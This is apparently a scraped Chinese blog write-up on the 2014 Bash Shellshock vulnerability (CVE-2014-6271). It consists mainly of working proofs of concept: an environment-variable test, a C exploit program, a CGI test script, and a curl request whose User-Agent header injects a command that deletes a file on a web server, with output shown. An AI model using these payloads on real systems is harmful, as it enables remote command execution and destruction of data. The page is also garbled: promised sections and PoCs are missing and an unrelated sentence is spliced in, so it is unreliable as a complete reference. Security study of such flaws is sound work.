Bash Shellshock事件:CVE-2014-6271资料汇总

[sth0r@shawn-fortress]$ uname -aLinux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux|=—————————————————————–=||=—–=[ D O N O T F U C K W I T H A H A C K E R ]=—–=||=—————————————————————–=||=————————[ #4 File 0x07 ]————————-=||=—————————————————————–=||=——————-=[ Bash Shellshock事件: ]=——————–=| |=——————-=[ CVE-2014-6271资料汇总]=——————–=||=—————————————————————–=||=———————=[ By Shawn the R0ck ]=———————=||=—————————————————————–=||=———————–=[ Sep 25 2014 ]=————————=||=—————————————————————–=|–[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued…

5. References

–[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

–[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”

如果存在漏洞会打印”vulnerable”。

2,C程序:/* CVE-2014-6271 + aliases with slashes PoC – je [at] clevcode [dot] org */#include <unistd.h>#include <stdio.h>int main(){char *envp[] = {“PATH=/bin:/usr/bin”,”/usr/bin/id=() { “”echo pwn me twice, shame on me; }; “”echo pwn me once, shame on you”,NULL};char *argv[] = { “/bin/bash”, NULL };execve(argv[0], argv, envp);perror(“execve”);return 1;}je@tiny:~$ gcc -o bash-is-fun bash-is-fun.cje@tiny:~$ ./bash-is-funpwn me once, shame on youje@tiny:/home/je$ /usr/bin/idpwn me twice, shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

#!/bin/bashecho “Content-type: text/html”echo “”echo ‘<html>’echo ‘<head>’echo ‘<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″>’echo ‘<title>PoC</title>’echo ‘</head>’echo ‘<body>’echo ‘<pre>’/usr/bin/envecho ‘</pre>’echo ‘</body>’echo ‘</html>’exit 0

把脚本放入测试机后,输入:

$ curl <html><head><meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″><title>PoC</title></head><body><pre>SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>HTTP_USER_AGENT=curl/7.26.0SERVER_PORT=80HTTP_HOST=192.168.0.1DOCUMENT_ROOT=/var/wwwSCRIPT_FILENAME=/var/www/poc.cgiREQUEST_URI=/poc.cgiSCRIPT_NAME=/poc.cgiREMOTE_PORT=40974PATH=/usr/local/bin:/usr/bin:/binPWD=/var/wwwSERVER_ADMIN=webmaster@localhostHTTP_ACCEPT=*/*REMOTE_ADDR=192.168.0.1SHLVL=1SERVER_NAME=192.168.0.1SERVER_SOFTWARE=Apache/2.2.22 (Debian)QUERY_STRING=SERVER_ADDR=192.168.0.1GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET_=/usr/bin/env</pre></body></html>

再来试试使用curl设置一个user-agent玩玩:

$ curl -A “() { :; }; /bin/rm /var/www/target” <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator,webmaster@localhost and inform them of the time the error occurred,and anything you might have done that may havecaused the error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address></body></html>

上面已经把/var/www/target给删除了,再来看看:

$ curl <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /target was not found on this server.</p><hr><address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address></body></html>4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了SSH_ORIGINAL_COMMAND的本地利用方法:

还有就是针对远程利用的POC,通过利用TERM:

而消极的人则在每个机会都看到某种忧患。

Bash Shellshock事件:CVE-2014-6271资料汇总

相关文章:

    你感兴趣的文章:

    标签云: